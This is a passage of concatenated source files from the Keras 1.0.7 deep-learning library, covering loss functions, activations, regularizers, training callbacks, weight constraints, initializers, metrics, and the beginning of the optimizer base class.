def kullback_leibler_divergence(y_true, y_pred):
    y_true = K.clip(y_true, K.epsilon(), 1)
    y_pred = K.clip(y_pred, K.epsilon(), 1)
    return K.sum(y_true * K.log(y_true / y_pred), axis=-1)


def poisson(y_true, y_pred):
    return K.mean(y_pred - y_true * K.log(y_pred + K.epsilon()), axis=-1)


def cosine_proximity(y_true, y_pred):
    y_true = K.l2_normalize(y_true, axis=-1)
    y_pred = K.l2_normalize(y_pred, axis=-1)
    return -K.mean(y_true * y_pred, axis=-1)


# aliases
mse = MSE = mean_squared_error
mae = MAE = mean_absolute_error
mape = MAPE = mean_absolute_percentage_error
msle = MSLE = mean_squared_logarithmic_error
kld = KLD = kullback_leibler_divergence
cosine = cosine_proximity

from .utils.generic_utils import get_from_module
def get(identifier):
    return get_from_module(identifier, globals(), 'objective')






from __future__ import absolute_import
from . import backend as K


def softmax(x):
    ndim = K.ndim(x)
    if ndim == 2:
        return K.softmax(x)
    elif ndim == 3:
        e = K.exp(x - K.max(x, axis=-1, keepdims=True))
        s = K.sum(e, axis=-1, keepdims=True)
        return e / s
    else:
        raise Exception('Cannot apply softmax to a tensor that is not 2D or 3D. ' +
                        'Here, ndim=' + str(ndim))


def softplus(x):
    return K.softplus(x)


def softsign(x):
    return K.softsign(x)


def relu(x, alpha=0., max_value=None):
    return K.relu(x, alpha=alpha, max_value=max_value)


def tanh(x):
    return K.tanh(x)


def sigmoid(x):
    return K.sigmoid(x)


def hard_sigmoid(x):
    return K.hard_sigmoid(x)


def linear(x):
    '''
    The function returns the variable that is passed in, so all types work.
    '''
    return x


from .utils.generic_utils import get_from_module
def get(identifier):
    if identifier is None:
        return linear
    return get_from_module(identifier, globals(), 'activation function')






from __future__ import absolute_import
from . import backend as K


class Regularizer(object):
    def set_param(self, p):
        self.p = p

    def set_layer(self, layer):
        self.layer = layer

    def __call__(self, loss):
        return loss

    def get_config(self):
        return {'name': self.__class__.__name__}


class EigenvalueRegularizer(Regularizer):
    '''This takes a constant that controls
    the regularization by Eigenvalue Decay on the
    current layer and outputs the regularized
    loss (evaluated on the training data) and
    the original loss (evaluated on the
    validation data).
    '''
    def __init__(self, k):
        self.k = k
        self.uses_learning_phase = True

    def set_param(self, p):
        self.p = p

    def __call__(self, loss):
        power = 9  # number of iterations of the power method
        W = self.p
        if K.ndim(W) > 2:
            raise Exception('Eigenvalue Decay regularizer '
                            'is only available for dense '
                            'and embedding layers.')
        WW = K.dot(K.transpose(W), W)
        dim1, dim2 = K.eval(K.shape(WW))  # number of neurons in the layer

        # power method for approximating the dominant eigenvector:
        o = K.ones([dim1, 1])  # initial values for the dominant eigenvector
        main_eigenvect = K.dot(WW, o)
        for n in range(power - 1):
            main_eigenvect = K.dot(WW, main_eigenvect)

        WWd = K.dot(WW, main_eigenvect)

        # the corresponding dominant eigenvalue:
        main_eigenval = K.dot(K.transpose(WWd), main_eigenvect) / K.dot(K.transpose(main_eigenvect), main_eigenvect)
        regularized_loss = loss + (main_eigenval ** 0.5) * self.k  # multiplied by the given regularization gain

        return K.in_train_phase(regularized_loss[0, 0], loss)


class WeightRegularizer(Regularizer):
    def __init__(self, l1=0., l2=0.):
        self.l1 = K.cast_to_floatx(l1)
        self.l2 = K.cast_to_floatx(l2)
        self.uses_learning_phase = True

    def set_param(self, p):
        self.p = p

    def __call__(self, loss):
        if not hasattr(self, 'p'):
            raise Exception('Need to call `set_param` on '
                            'WeightRegularizer instance '
                            'before calling the instance. '
                            'Check that you are not passing '
                            'a WeightRegularizer instead of an '
                            'ActivityRegularizer '
                            '(i.e. activity_regularizer="l2" instead '
                            'of activity_regularizer="activity_l2".')
        regularized_loss = loss
        if self.l1:
            regularized_loss += K.sum(self.l1 * K.abs(self.p))
        if self.l2:
            regularized_loss += K.sum(self.l2 * K.square(self.p))
        return K.in_train_phase(regularized_loss, loss)

    def get_config(self):
        return {'name': self.__class__.__name__,
                'l1': float(self.l1),
                'l2': float(self.l2)}


class ActivityRegularizer(Regularizer):
    def __init__(self, l1=0., l2=0.):
        self.l1 = K.cast_to_floatx(l1)
        self.l2 = K.cast_to_floatx(l2)
        self.uses_learning_phase = True

    def set_layer(self, layer):
        self.layer = layer

    def __call__(self, loss):
        if not hasattr(self, 'layer'):
            raise Exception('Need to call `set_layer` on '
                            'ActivityRegularizer instance '
                            'before calling the instance.')
        regularized_loss = loss
        for i in range(len(self.layer.inbound_nodes)):
            output = self.layer.get_output_at(i)
            if self.l1:
                regularized_loss += K.sum(self.l1 * K.abs(output))
            if self.l2:
                regularized_loss += K.sum(self.l2 * K.square(output))
        return K.in_train_phase(regularized_loss, loss)

    def get_config(self):
        return {'name': self.__class__.__name__,
                'l1': float(self.l1),
                'l2': float(self.l2)}


def l1(l=0.01):
    return WeightRegularizer(l1=l)


def l2(l=0.01):
    return WeightRegularizer(l2=l)


def l1l2(l1=0.01, l2=0.01):
    return WeightRegularizer(l1=l1, l2=l2)


def activity_l1(l=0.01):
    return ActivityRegularizer(l1=l)


def activity_l2(l=0.01):
    return ActivityRegularizer(l2=l)


def activity_l1l2(l1=0.01, l2=0.01):
    return ActivityRegularizer(l1=l1, l2=l2)


from .utils.generic_utils import get_from_module
def get(identifier, kwargs=None):
    return get_from_module(identifier, globals(), 'regularizer',
                           instantiate=True, kwargs=kwargs)






from __future__ import absolute_import
from __future__ import print_function

import numpy as np
import time
import json
import warnings

from collections import deque
from .utils.generic_utils import Progbar
from keras import backend as K
from pkg_resources import parse_version


class CallbackList(object):
    def __init__(self, callbacks=[], queue_length=10):
        self.callbacks = [c for c in callbacks]
        self.queue_length = queue_length

    def append(self, callback):
        self.callbacks.append(callback)

    def _set_params(self, params):
        for callback in self.callbacks:
            callback._set_params(params)

    def _set_model(self, model):
        for callback in self.callbacks:
            callback._set_model(model)

    def on_epoch_begin(self, epoch, logs={}):
        for callback in self.callbacks:
            callback.on_epoch_begin(epoch, logs)
        self._delta_t_batch = 0.
        self._delta_ts_batch_begin = deque([], maxlen=self.queue_length)
        self._delta_ts_batch_end = deque([], maxlen=self.queue_length)

    def on_epoch_end(self, epoch, logs={}):
        for callback in self.callbacks:
            callback.on_epoch_end(epoch, logs)

    def on_batch_begin(self, batch, logs={}):
        t_before_callbacks = time.time()
        for callback in self.callbacks:
            callback.on_batch_begin(batch, logs)
        self._delta_ts_batch_begin.append(time.time() - t_before_callbacks)
        delta_t_median = np.median(self._delta_ts_batch_begin)
        if self._delta_t_batch > 0. and delta_t_median > 0.95 * \
           self._delta_t_batch and delta_t_median > 0.1:
            warnings.warn('Method on_batch_begin() is slow compared '
                          'to the batch update (%f). Check your callbacks.'
                          % delta_t_median)
        self._t_enter_batch = time.time()

    def on_batch_end(self, batch, logs={}):
        if not hasattr(self, '_t_enter_batch'):
            self._t_enter_batch = time.time()
        self._delta_t_batch = time.time() - self._t_enter_batch
        t_before_callbacks = time.time()
        for callback in self.callbacks:
            callback.on_batch_end(batch, logs)
        self._delta_ts_batch_end.append(time.time() - t_before_callbacks)
        delta_t_median = np.median(self._delta_ts_batch_end)
        if self._delta_t_batch > 0. and (delta_t_median > 0.95 * self._delta_t_batch and delta_t_median > 0.1):
            warnings.warn('Method on_batch_end() is slow compared '
                          'to the batch update (%f). Check your callbacks.'
                          % delta_t_median)

    def on_train_begin(self, logs={}):
        for callback in self.callbacks:
            callback.on_train_begin(logs)

    def on_train_end(self, logs={}):
        for callback in self.callbacks:
            callback.on_train_end(logs)


class Callback(object):
    '''Abstract base class used to build new callbacks.

    # Properties
        params: dict. Training parameters
            (eg. verbosity, batch size, number of epochs...).
        model: instance of `keras.models.Model`.
            Reference of the model being trained.

    The `logs` dictionary that callback methods
    take as argument will contain keys for quantities relevant to
    the current batch or epoch.

    Currently, the `.fit()` method of the `Sequential` model class
    will include the following quantities in the `logs` that
    it passes to its callbacks:

        on_epoch_end: logs include `acc` and `loss`, and
            optionally include `val_loss`
            (if validation is enabled in `fit`), and `val_acc`
            (if validation and accuracy monitoring are enabled).
        on_batch_begin: logs include `size`,
            the number of samples in the current batch.
        on_batch_end: logs include `loss`, and optionally `acc`
            (if accuracy monitoring is enabled).
    '''
    def __init__(self):
        pass

    def _set_params(self, params):
        self.params = params

    def _set_model(self, model):
        self.model = model

    def on_epoch_begin(self, epoch, logs={}):
        pass

    def on_epoch_end(self, epoch, logs={}):
        pass

    def on_batch_begin(self, batch, logs={}):
        pass

    def on_batch_end(self, batch, logs={}):
        pass

    def on_train_begin(self, logs={}):
        pass

    def on_train_end(self, logs={}):
        pass


class BaseLogger(Callback):
    '''Callback that accumulates epoch averages of
    the metrics being monitored.

    This callback is automatically applied to
    every Keras model.
    '''
    def on_epoch_begin(self, epoch, logs={}):
        self.seen = 0
        self.totals = {}

    def on_batch_end(self, batch, logs={}):
        batch_size = logs.get('size', 0)
        self.seen += batch_size

        for k, v in logs.items():
            if k in self.totals:
                self.totals[k] += v * batch_size
            else:
                self.totals[k] = v * batch_size

    def on_epoch_end(self, epoch, logs={}):
        for k in self.params['metrics']:
            if k in self.totals:
                # make value available to next callbacks
                logs[k] = self.totals[k] / self.seen


class ProgbarLogger(Callback):
    '''Callback that prints metrics to stdout.
    '''
    def on_train_begin(self, logs={}):
        self.verbose = self.params['verbose']
        self.nb_epoch = self.params['nb_epoch']

    def on_epoch_begin(self, epoch, logs={}):
        if self.verbose:
            print('Epoch %d/%d' % (epoch + 1, self.nb_epoch))
            self.progbar = Progbar(target=self.params['nb_sample'],
                                   verbose=self.verbose)
        self.seen = 0

    def on_batch_begin(self, batch, logs={}):
        if self.seen < self.params['nb_sample']:
            self.log_values = []

    def on_batch_end(self, batch, logs={}):
        batch_size = logs.get('size', 0)
        self.seen += batch_size

        for k in self.params['metrics']:
            if k in logs:
                self.log_values.append((k, logs[k]))

        # skip progbar update for the last batch;
        # will be handled by on_epoch_end
        if self.verbose and self.seen < self.params['nb_sample']:
            self.progbar.update(self.seen, self.log_values)

    def on_epoch_end(self, epoch, logs={}):
        for k in self.params['metrics']:
            if k in logs:
                self.log_values.append((k, logs[k]))
        if self.verbose:
            self.progbar.update(self.seen, self.log_values, force=True)


class History(Callback):
    '''Callback that records events
    into a `History` object.

    This callback is automatically applied to
    every Keras model. The `History` object
    gets returned by the `fit` method of models.
    '''
    def on_train_begin(self, logs={}):
        self.epoch = []
        self.history = {}

    def on_epoch_end(self, epoch, logs={}):
        self.epoch.append(epoch)
        for k, v in logs.items():
            self.history.setdefault(k, []).append(v)


class ModelCheckpoint(Callback):
    '''Save the model after every epoch.

    `filepath` can contain named formatting options,
    which will be filled the value of `epoch` and
    keys in `logs` (passed in `on_epoch_end`).

    For example: if `filepath` is `weights.{epoch:02d}-{val_loss:.2f}.hdf5`,
    then multiple files will be save with the epoch number and
    the validation loss.

    # Arguments
        filepath: string, path to save the model file.
        monitor: quantity to monitor.
        verbose: verbosity mode, 0 or 1.
        save_best_only: if `save_best_only=True`,
            the latest best model according to
            the quantity monitored will not be overwritten.
        mode: one of {auto, min, max}.
            If `save_best_only=True`, the decision
            to overwrite the current save file is made
            based on either the maximization or the
            minimization of the monitored quantity. For `val_acc`,
            this should be `max`, for `val_loss` this should
            be `min`, etc. In `auto` mode, the direction is
            automatically inferred from the name of the monitored quantity.
        save_weights_only: if True, then only the model's weights will be
            saved (`model.save_weights(filepath)`), else the full model
            is saved (`model.save(filepath)`).

    '''
    def __init__(self, filepath, monitor='val_loss', verbose=0,
                 save_best_only=False, save_weights_only=False,
                 mode='auto'):
        super(ModelCheckpoint, self).__init__()
        self.monitor = monitor
        self.verbose = verbose
        self.filepath = filepath
        self.save_best_only = save_best_only
        self.save_weights_only = save_weights_only

        if mode not in ['auto', 'min', 'max']:
            warnings.warn('ModelCheckpoint mode %s is unknown, '
                          'fallback to auto mode.' % (mode),
                          RuntimeWarning)
            mode = 'auto'

        if mode == 'min':
            self.monitor_op = np.less
            self.best = np.Inf
        elif mode == 'max':
            self.monitor_op = np.greater
            self.best = -np.Inf
        else:
            if 'acc' in self.monitor:
                self.monitor_op = np.greater
                self.best = -np.Inf
            else:
                self.monitor_op = np.less
                self.best = np.Inf

    def on_epoch_end(self, epoch, logs={}):
        filepath = self.filepath.format(epoch=epoch, **logs)
        if self.save_best_only:
            current = logs.get(self.monitor)
            if current is None:
                warnings.warn('Can save best model only with %s available, '
                              'skipping.' % (self.monitor), RuntimeWarning)
            else:
                if self.monitor_op(current, self.best):
                    if self.verbose > 0:
                        print('Epoch %05d: %s improved from %0.5f to %0.5f,'
                              ' saving model to %s'
                              % (epoch, self.monitor, self.best,
                                 current, filepath))
                    self.best = current
                    if self.save_weights_only:
                        self.model.save_weights(filepath, overwrite=True)
                    else:
                        self.model.save(filepath, overwrite=True)
                else:
                    if self.verbose > 0:
                        print('Epoch %05d: %s did not improve' %
                              (epoch, self.monitor))
        else:
            if self.verbose > 0:
                print('Epoch %05d: saving model to %s' % (epoch, filepath))
            if self.save_weights_only:
                self.model.save_weights(filepath, overwrite=True)
            else:
                self.model.save(filepath, overwrite=True)


class EarlyStopping(Callback):
    '''Stop training when a monitored quantity has stopped improving.

    # Arguments
        monitor: quantity to be monitored.
        patience: number of epochs with no improvement
            after which training will be stopped.
        verbose: verbosity mode.
        mode: one of {auto, min, max}. In 'min' mode,
            training will stop when the quantity
            monitored has stopped decreasing; in 'max'
            mode it will stop when the quantity
            monitored has stopped increasing.
    '''
    def __init__(self, monitor='val_loss', patience=0, verbose=0, mode='auto'):
        super(EarlyStopping, self).__init__()

        self.monitor = monitor
        self.patience = patience
        self.verbose = verbose
        self.wait = 0

        if mode not in ['auto', 'min', 'max']:
            warnings.warn('EarlyStopping mode %s is unknown, '
                          'fallback to auto mode.' % (self.mode),
                          RuntimeWarning)
            mode = 'auto'

        if mode == 'min':
            self.monitor_op = np.less
        elif mode == 'max':
            self.monitor_op = np.greater
        else:
            if 'acc' in self.monitor:
                self.monitor_op = np.greater
            else:
                self.monitor_op = np.less

    def on_train_begin(self, logs={}):
        self.wait = 0       # Allow instances to be re-used
        self.best = np.Inf if self.monitor_op == np.less else -np.Inf

    def on_epoch_end(self, epoch, logs={}):
        current = logs.get(self.monitor)
        if current is None:
            warnings.warn('Early stopping requires %s available!' %
                          (self.monitor), RuntimeWarning)

        if self.monitor_op(current, self.best):
            self.best = current
            self.wait = 0
        else:
            if self.wait >= self.patience:
                if self.verbose > 0:
                    print('Epoch %05d: early stopping' % (epoch))
                self.model.stop_training = True
            self.wait += 1


class RemoteMonitor(Callback):
    '''Callback used to stream events to a server.

    Requires the `requests` library.

    # Arguments
        root: root url to which the events will be sent (at the end
            of every epoch). Events are sent to
            `root + '/publish/epoch/end/'` by default. Calls are
            HTTP POST, with a `data` argument which is a
            JSON-encoded dictionary of event data.
    '''

    def __init__(self,
                 root='http://localhost:9000',
                 path='/publish/epoch/end/',
                 field='data'):
        super(RemoteMonitor, self).__init__()
        self.root = root
        self.path = path
        self.field = field

    def on_epoch_end(self, epoch, logs={}):
        import requests
        send = {}
        send['epoch'] = epoch
        for k, v in logs.items():
            send[k] = v
        try:
            requests.post(self.root + self.path,
                          {self.field: json.dumps(send)})
        except:
            print('Warning: could not reach RemoteMonitor '
                  'root server at ' + str(self.root))


class LearningRateScheduler(Callback):
    '''Learning rate scheduler.

    # Arguments
        schedule: a function that takes an epoch index as input
            (integer, indexed from 0) and returns a new
            learning rate as output (float).
    '''
    def __init__(self, schedule):
        super(LearningRateScheduler, self).__init__()
        self.schedule = schedule

    def on_epoch_begin(self, epoch, logs={}):
        assert hasattr(self.model.optimizer, 'lr'), \
            'Optimizer must have a "lr" attribute.'
        lr = self.schedule(epoch)
        assert type(lr) == float, 'The output of the "schedule" function should be float.'
        K.set_value(self.model.optimizer.lr, lr)


class TensorBoard(Callback):
    ''' Tensorboard basic visualizations.

    This callback writes a log for TensorBoard, which allows
    you to visualize dynamic graphs of your training and test
    metrics, as well as activation histograms for the different
    layers in your model.

    TensorBoard is a visualization tool provided with TensorFlow.

    If you have installed TensorFlow with pip, you should be able
    to launch TensorBoard from the command line:
    ```
    tensorboard --logdir=/full_path_to_your_logs
    ```
    You can find more information about TensorBoard
    [here](https://www.tensorflow.org/versions/master/how_tos/summaries_and_tensorboard/index.html).

    # Arguments
        log_dir: the path of the directory where to save the log
            files to be parsed by Tensorboard
        histogram_freq: frequency (in epochs) at which to compute activation
            histograms for the layers of the model. If set to 0,
            histograms won't be computed.
        write_graph: whether to visualize the graph in Tensorboard.
            The log file can become quite large when
            write_graph is set to True.
    '''

    def __init__(self, log_dir='./logs', histogram_freq=0, write_graph=True):
        super(TensorBoard, self).__init__()
        if K._BACKEND != 'tensorflow':
            raise Exception('TensorBoard callback only works '
                            'with the TensorFlow backend.')
        self.log_dir = log_dir
        self.histogram_freq = histogram_freq
        self.merged = None
        self.write_graph = write_graph

    def _set_model(self, model):
        import tensorflow as tf
        import keras.backend.tensorflow_backend as KTF

        self.model = model
        self.sess = KTF.get_session()
        if self.histogram_freq and self.merged is None:
            layers = self.model.layers
            for layer in layers:
                if hasattr(layer, 'W'):
                    tf.histogram_summary('{}_W'.format(layer), layer.W)
                if hasattr(layer, 'b'):
                    tf.histogram_summary('{}_b'.format(layer), layer.b)
                if hasattr(layer, 'output'):
                    tf.histogram_summary('{}_out'.format(layer),
                                         layer.output)
        self.merged = tf.merge_all_summaries()
        if self.write_graph:
            if parse_version(tf.__version__) >= parse_version('0.8.0'):
                self.writer = tf.train.SummaryWriter(self.log_dir,
                                                     self.sess.graph)
            else:
                self.writer = tf.train.SummaryWriter(self.log_dir,
                                                     self.sess.graph_def)
        else:
            self.writer = tf.train.SummaryWriter(self.log_dir)

    def on_epoch_end(self, epoch, logs={}):
        import tensorflow as tf

        if self.model.validation_data and self.histogram_freq:
            if epoch % self.histogram_freq == 0:
                # TODO: implement batched calls to sess.run
                # (current call will likely go OOM on GPU)
                if self.model.uses_learning_phase:
                    cut_v_data = len(self.model.inputs)
                    val_data = self.model.validation_data[:cut_v_data] + [0]
                    tensors = self.model.inputs + [K.learning_phase()]
                else:
                    val_data = self.model.validation_data
                    tensors = self.model.inputs
                feed_dict = dict(zip(tensors, val_data))
                result = self.sess.run([self.merged], feed_dict=feed_dict)
                summary_str = result[0]
                self.writer.add_summary(summary_str, epoch)

        for name, value in logs.items():
            if name in ['batch', 'size']:
                continue
            summary = tf.Summary()
            summary_value = summary.value.add()
            summary_value.simple_value = value
            summary_value.tag = name
            self.writer.add_summary(summary, epoch)
        self.writer.flush()






from __future__ import absolute_import
from . import backend as K


class Constraint(object):
    def __call__(self, p):
        return p

    def get_config(self):
        return {'name': self.__class__.__name__}


class MaxNorm(Constraint):
    '''Constrain the weights incident to each hidden unit to have a norm less than or equal to a desired value.

    # Arguments
        m: the maximum norm for the incoming weights.
        axis: integer, axis along which to calculate weight norms. For instance,
            in a `Dense` layer the weight matrix has shape (input_dim, output_dim),
            set `axis` to `0` to constrain each weight vector of length (input_dim).
            In a `MaxoutDense` layer the weight tensor has shape (nb_feature, input_dim, output_dim),
            set `axis` to `1` to constrain each weight vector of length (input_dim),
            i.e. constrain the filters incident to the `max` operation.
            In a `Convolution2D` layer with the Theano backend, the weight tensor
            has shape (nb_filter, stack_size, nb_row, nb_col), set `axis` to `[1,2,3]`
            to constrain the weights of each filter tensor of size (stack_size, nb_row, nb_col).
            In a `Convolution2D` layer with the TensorFlow backend, the weight tensor
            has shape (nb_row, nb_col, stack_size, nb_filter), set `axis` to `[0,1,2]`
            to constrain the weights of each filter tensor of size (nb_row, nb_col, stack_size).

    # References
        - [Dropout: A Simple Way to Prevent Neural Networks from Overfitting Srivastava, Hinton, et al. 2014](http://www.cs.toronto.edu/~rsalakhu/papers/srivastava14a.pdf)
    '''
    def __init__(self, m=2, axis=0):
        self.m = m
        self.axis = axis

    def __call__(self, p):
        norms = K.sqrt(K.sum(K.square(p), axis=self.axis, keepdims=True))
        desired = K.clip(norms, 0, self.m)
        p = p * (desired / (K.epsilon() + norms))
        return p

    def get_config(self):
        return {'name': self.__class__.__name__,
                'm': self.m,
                'axis': self.axis}


class NonNeg(Constraint):
    '''Constrain the weights to be non-negative.
    '''
    def __call__(self, p):
        p *= K.cast(p >= 0., K.floatx())
        return p


class UnitNorm(Constraint):
    '''Constrain the weights incident to each hidden unit to have unit norm.

    # Arguments
        axis: integer, axis along which to calculate weight norms. For instance,
            in a `Dense` layer the weight matrix has shape (input_dim, output_dim),
            set `axis` to `0` to constrain each weight vector of length (input_dim).
            In a `MaxoutDense` layer the weight tensor has shape (nb_feature, input_dim, output_dim),
            set `axis` to `1` to constrain each weight vector of length (input_dim),
            i.e. constrain the filters incident to the `max` operation.
            In a `Convolution2D` layer with the Theano backend, the weight tensor
            has shape (nb_filter, stack_size, nb_row, nb_col), set `axis` to `[1,2,3]`
            to constrain the weights of each filter tensor of size (stack_size, nb_row, nb_col).
            In a `Convolution2D` layer with the TensorFlow backend, the weight tensor
            has shape (nb_row, nb_col, stack_size, nb_filter), set `axis` to `[0,1,2]`
            to constrain the weights of each filter tensor of size (nb_row, nb_col, stack_size).
    '''
    def __init__(self, axis=0):
        self.axis = axis

    def __call__(self, p):
        return p / (K.epsilon() + K.sqrt(K.sum(K.square(p), axis=self.axis, keepdims=True)))

    def get_config(self):
        return {'name': self.__class__.__name__,
                'axis': self.axis}


maxnorm = MaxNorm
nonneg = NonNeg
unitnorm = UnitNorm

from .utils.generic_utils import get_from_module
def get(identifier, kwargs=None):
    return get_from_module(identifier, globals(), 'constraint',
                           instantiate=True, kwargs=kwargs)






from __future__ import absolute_import
import numpy as np
from . import backend as K


def get_fans(shape, dim_ordering='th'):
    if len(shape) == 2:
        fan_in = shape[0]
        fan_out = shape[1]
    elif len(shape) == 4 or len(shape) == 5:
        # assuming convolution kernels (2D or 3D).
        # TH kernel shape: (depth, input_depth, ...)
        # TF kernel shape: (..., input_depth, depth)
        if dim_ordering == 'th':
            receptive_field_size = np.prod(shape[2:])
            fan_in = shape[1] * receptive_field_size
            fan_out = shape[0] * receptive_field_size
        elif dim_ordering == 'tf':
            receptive_field_size = np.prod(shape[:2])
            fan_in = shape[-2] * receptive_field_size
            fan_out = shape[-1] * receptive_field_size
        else:
            raise Exception('Invalid dim_ordering: ' + dim_ordering)
    else:
        # no specific assumptions
        fan_in = np.sqrt(np.prod(shape))
        fan_out = np.sqrt(np.prod(shape))
    return fan_in, fan_out


def uniform(shape, scale=0.05, name=None):
    return K.random_uniform_variable(shape, -scale, scale, name=name)


def normal(shape, scale=0.05, name=None):
    return K.random_normal_variable(shape, 0.0, scale, name=name)


def lecun_uniform(shape, name=None, dim_ordering='th'):
    ''' Reference: LeCun 98, Efficient Backprop
        http://yann.lecun.com/exdb/publis/pdf/lecun-98b.pdf
    '''
    fan_in, fan_out = get_fans(shape, dim_ordering=dim_ordering)
    scale = np.sqrt(3. / fan_in)
    return uniform(shape, scale, name=name)


def glorot_normal(shape, name=None, dim_ordering='th'):
    ''' Reference: Glorot & Bengio, AISTATS 2010
    '''
    fan_in, fan_out = get_fans(shape, dim_ordering=dim_ordering)
    s = np.sqrt(2. / (fan_in + fan_out))
    return normal(shape, s, name=name)


def glorot_uniform(shape, name=None, dim_ordering='th'):
    fan_in, fan_out = get_fans(shape, dim_ordering=dim_ordering)
    s = np.sqrt(6. / (fan_in + fan_out))
    return uniform(shape, s, name=name)


def he_normal(shape, name=None, dim_ordering='th'):
    ''' Reference:  He et al., http://arxiv.org/abs/1502.01852
    '''
    fan_in, fan_out = get_fans(shape, dim_ordering=dim_ordering)
    s = np.sqrt(2. / fan_in)
    return normal(shape, s, name=name)


def he_uniform(shape, name=None, dim_ordering='th'):
    fan_in, fan_out = get_fans(shape, dim_ordering=dim_ordering)
    s = np.sqrt(6. / fan_in)
    return uniform(shape, s, name=name)


def orthogonal(shape, scale=1.1, name=None):
    ''' From Lasagne. Reference: Saxe et al., http://arxiv.org/abs/1312.6120
    '''
    flat_shape = (shape[0], np.prod(shape[1:]))
    a = np.random.normal(0.0, 1.0, flat_shape)
    u, _, v = np.linalg.svd(a, full_matrices=False)
    # pick the one with the correct shape
    q = u if u.shape == flat_shape else v
    q = q.reshape(shape)
    return K.variable(scale * q[:shape[0], :shape[1]], name=name)


def identity(shape, scale=1, name=None):
    if len(shape) != 2 or shape[0] != shape[1]:
        raise Exception('Identity matrix initialization can only be used '
                        'for 2D square matrices.')
    else:
        return K.variable(scale * np.identity(shape[0]), name=name)


def zero(shape, name=None):
    return K.zeros(shape, name=name)


def one(shape, name=None):
    return K.ones(shape, name=name)


from .utils.generic_utils import get_from_module
def get(identifier, **kwargs):
    return get_from_module(identifier, globals(),
                           'initialization', kwargs=kwargs)






from __future__ import absolute_import
from . import backend
from . import datasets
from . import engine
from . import layers
from . import preprocessing
from . import utils
from . import wrappers
from . import callbacks
from . import constraints
from . import initializations
from . import metrics
from . import models
from . import objectives
from . import optimizers
from . import regularizers

__version__ = '1.0.7'






import numpy as np
from . import backend as K


def binary_accuracy(y_true, y_pred):
    return K.mean(K.equal(y_true, K.round(y_pred)))


def categorical_accuracy(y_true, y_pred):
    return K.mean(K.equal(K.argmax(y_true, axis=-1),
                  K.argmax(y_pred, axis=-1)))


def sparse_categorical_accuracy(y_true, y_pred):
    return K.mean(K.equal(K.max(y_true, axis=-1),
                          K.cast(K.argmax(y_pred, axis=-1), K.floatx())))


def mean_squared_error(y_true, y_pred):
    return K.mean(K.square(y_pred - y_true))


def mean_absolute_error(y_true, y_pred):
    return K.mean(K.abs(y_pred - y_true))


def mean_absolute_percentage_error(y_true, y_pred):
    diff = K.abs((y_true - y_pred) / K.clip(K.abs(y_true), K.epsilon(), np.inf))
    return 100. * K.mean(diff)


def mean_squared_logarithmic_error(y_true, y_pred):
    first_log = K.log(K.clip(y_pred, K.epsilon(), np.inf) + 1.)
    second_log = K.log(K.clip(y_true, K.epsilon(), np.inf) + 1.)
    return K.mean(K.square(first_log - second_log))


def squared_hinge(y_true, y_pred):
    return K.mean(K.square(K.maximum(1. - y_true * y_pred, 0.)))


def hinge(y_true, y_pred):
    return K.mean(K.maximum(1. - y_true * y_pred, 0.))


def categorical_crossentropy(y_true, y_pred):
    '''Expects a binary class matrix instead of a vector of scalar classes.
    '''
    return K.mean(K.categorical_crossentropy(y_pred, y_true))


def sparse_categorical_crossentropy(y_true, y_pred):
    '''expects an array of integer classes.
    Note: labels shape must have the same number of dimensions as output shape.
    If you get a shape error, add a length-1 dimension to labels.
    '''
    return K.mean(K.sparse_categorical_crossentropy(y_pred, y_true))


def binary_crossentropy(y_true, y_pred):
    return K.mean(K.binary_crossentropy(y_pred, y_true))


def poisson(y_true, y_pred):
    return K.mean(y_pred - y_true * K.log(y_pred + K.epsilon()))


def cosine_proximity(y_true, y_pred):
    y_true = K.l2_normalize(y_true, axis=-1)
    y_pred = K.l2_normalize(y_pred, axis=-1)
    return -K.mean(y_true * y_pred)


# aliases
mse = MSE = mean_squared_error
mae = MAE = mean_absolute_error
mape = MAPE = mean_absolute_percentage_error
msle = MSLE = mean_squared_logarithmic_error
cosine = cosine_proximity


from .utils.generic_utils import get_from_module
def get(identifier):
    return get_from_module(identifier, globals(), 'metric')






from __future__ import absolute_import
from . import backend as K
from .utils.generic_utils import get_from_module
from six.moves import zip


def clip_norm(g, c, n):
    if c > 0:
        g = K.switch(n >= c, g * c / n, g)
    return g


def optimizer_from_config(config, custom_objects={}):
    all_classes = {
        'sgd': SGD,
        'rmsprop': RMSprop,
        'adagrad': Adagrad,
        'adadelta': Adadelta,
        'adam': Adam,
        'adamax': Adamax,
        'nadam': Nadam,
    }
    class_name = config['class_name']
    if class_name in custom_objects:
        cls = custom_objects[class_name]
    else:
        if class_name.lower() not in all_classes:
            raise ValueError('Optimizer class not found:', class_name)
        cls = all_classes[class_name.lower()]
    return cls.from_config(config['config'])


class Optimizer(object):
    '''Abstract optimizer base class.

    Note: this is the parent class of all optimizers, not an actual optimizer
    that can be used for training models.

    All Keras optimizers support the following keyword arguments:

        clipnorm: float >= 0. Gradients will be clipped
            when their L2 norm exceeds this value.
        clipvalue: float >= 0. Gradients will be clipped
            when their absolute value exceeds this value.
    '''
    def __init__(self, **kwargs):
        allowed_kwargs = {'clipnorm', 'clipvalue'}
        for k in kwargs:
            if k not in allowed_kwargs:
                raise Exception('Unexpected keyword argument '
                                'passed to optimizer: ' + str(k))
        self.__dict__.update(kwargs)
        self.updates = []
        self.weights = []

    def get_state(self):
        return [K.get_value(u[0]) for u in self.updates]

    def set_state(self, value_list):
        assert len(self.updates) == len(value_list)
        for u, v in zip(self.updates, value_list):
            K.set_value(u[0], v)

    def get_updates(self, params, constraints, loss):
        raise NotImplementedError

    def get_gradients(self, loss, params):
        grads = K.gradients(loss, params)
        if hasattr(self, 'clipnorm') and self.clipnorm > 0:
            norm = K.sqrt(sum([K.sum(K.square(g)) for g in grads]))
            grads = [clip_norm(g, self.clipnorm, norm) for g in grads]
        if hasattr(self, 'clipvalue') and self.clipvalue > 0:
            grads = [K.clip(g, -self.clipvalue, self.clipvalue) for g in grads]
        return grads

    def set_weights(self, weights):
        '''Sets the weights of the optimizer, from Numpy arrays.

        Should only be called after computing the gradients
        (otherwise the optimizer has no weights).

        # Arguments
            weights: a list of Numpy arrays. The number
                of arrays and their shape must match
                number of the dimensions of the weights
                of the optimizer (i.e. it should match the
                output of `get_weights`).
        '''
        params = self.weights
        weight_value_tuples = []
        param_values = K.batch_get_value(params)
        for pv, p, w in zip(param_values, params, weights):
            if pv.shape != w.shape:
                raise Exception('Optimizer weight shape ' +
                                str(pv.shape) +
                                ' not compatible with '
                                'provided weight shape ' + str(w.shape))
            weight_value_tuples.append((p, w))
        K.batch_set_value(weight_value_tuples)

    def get_weights(self):
